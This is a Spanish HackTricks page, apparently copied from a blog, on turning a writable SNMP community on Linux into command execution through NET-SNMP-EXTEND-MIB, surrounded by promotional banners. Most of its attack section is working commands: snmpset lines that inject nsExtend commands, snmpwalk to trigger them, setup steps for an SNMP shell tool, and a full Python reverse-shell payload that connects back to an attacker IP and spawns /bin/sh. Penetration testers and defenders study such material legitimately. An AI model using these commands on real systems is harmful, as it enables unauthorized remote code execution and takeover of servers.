6.6 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Consigue el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Este post fue copiado de https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/
SNMP a veces es pasado por alto por el administrador del dispositivo o servidor donde se deja en una configuración predeterminada. La comunidad SNMP con permisos de escritura (rwcommunity) en el sistema operativo Linux puede ser abusada para permitir que el atacante ejecute un comando en el servidor.
Ampliando los servicios
Aunque no se pueden modificar las entradas existentes que se configuraron en snmpd.conf, es posible agregar comandos adicionales a través de SNMP, porque la configuración de permisos "MAX-ACCESS" en la definición MIB está establecida en "read-create".
Agregar un nuevo comando básicamente funciona agregando una fila adicional a la tabla "nsExtendObjects".
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Inyectando un comando para ejecutar en el servicio SNMP. NET-SNMP-EXTEND-MIB requiere que siempre proporciones la ruta absoluta al ejecutable. El binario/script llamado también debe existir y ser ejecutable.
Ejecutando el comando que inyectamos en SNMP enumerándolo usando snmpwalk.
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Mostrando que el comando es /bin/echo.
El comando se ejecutará cuando se lea. run-on-read()
El comando /bin/echo "hello rio is here" se ejecutó durante nuestra lectura de snmpwalk
Obteniendo la Shell desde Net-SNMP Extend
En esta sección, me gustaría discutir cómo obtener una shell de servidor para controlar el servidor.
Puede utilizar un script de Python desarrollado por mxrch que se puede descargar desde https://github.com/mxrch/snmp-shell.git
Puede instalar el pre-requisito para ejecutar esto:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Creando shell inversa
También puedes crear una shell inversa manualmente inyectando el siguiente comando en el SNMP.
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Ejecuta el comando snmpwalk para activar la ejecución de comandos.
Nuestro netcat recibe la conexión de reverseshell de la víctima que nos permite tomar el control de la máquina víctima.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.